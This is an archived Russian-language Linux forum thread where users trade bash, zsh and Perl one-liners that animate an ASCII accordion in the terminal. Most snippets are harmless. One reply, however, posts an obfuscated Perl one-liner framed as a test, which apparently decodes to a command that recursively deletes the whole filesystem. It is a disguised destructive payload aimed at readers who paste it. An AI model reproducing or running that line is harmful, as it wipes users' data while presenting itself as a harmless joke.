LINUX.ORG.RU
ФорумTalks

и еще один [:|||:] :D


0

2

баян =)

#!/bin/bash
INTERVAL=.5
while true; do
    for i in 1 2 3 4 5 6 5 4 3 2; do
        case $i in
            1)
                echo -ne "\r                        "
                echo -ne "\r[:|:]"
                sleep $INTERVAL
                ;;
            2)
                echo -ne "\r                        "
                echo -ne "\r[:||:]"
                sleep $INTERVAL
                ;;
            3)
                echo -ne "\r                        "
                echo -ne "\r[:|||:]"
                sleep $INTERVAL
                ;;
            4)
                echo -ne "\r                        "
                echo -ne "\r[:||||:]"
                sleep $INTERVAL
                ;;
            5)
                echo -ne "\r                        "
                echo -ne "\r[:|||||:]"
                sleep $INTERVAL
                ;;
            6)
                echo -ne "\r                        "
                echo -ne "\r[:||||||:]"
                sleep $INTERVAL
                ;;
        esac
    done
done


перепишите с tput, чтобы была риальни крутая анимация, а не это. Получите от меня плюсик в карму

zolden ★★★★★
()
bayan() {
echo -ne '\r\e[2K[:'
seq 1 $1 | while read; do echo -n \|; done
echo -n ':]'
}

for i in 1 2 3 4 5 6 5 4 3 2; do
bayan $i
sleep .5
done

echo -e '\r\e[2K'
AITap ★★★★★
()
Ответ на: комментарий от arsi

perl -MTime::HiRes=sleep -e '$|=1;for(;;){print"\r[:",«|„x$_,“:] „and sleep .5 for 1..6,5,4,3,2,1}'

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Black_Shadow ★★★★★
()
Ответ на: комментарий от Black_Shadow

да, это этот боян круче моего :(

arsi ★★★★★
()
while true ; do
	for i in {2..10} {10..2} ; do
		echo -ne "\r[:$(echo `yes '|' | head -n $i` | sed 's/ //g'):] "
	done
done
geekless ★★
()
[:|:]sleep: неверный временной интервал `.5'
Попробуйте `sleep --help' для получения более подробного описания.
[:||:]sleep: неверный временной интервал `.5'
Попробуйте `sleep --help' для получения более подробного описания.
unsigned ★★★★
()

while {:} {for i in {1..6} {5..2}; echo -n «\r\e[K[:${(l.$i..|.)}:]» && sleep .5}

n01r ★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.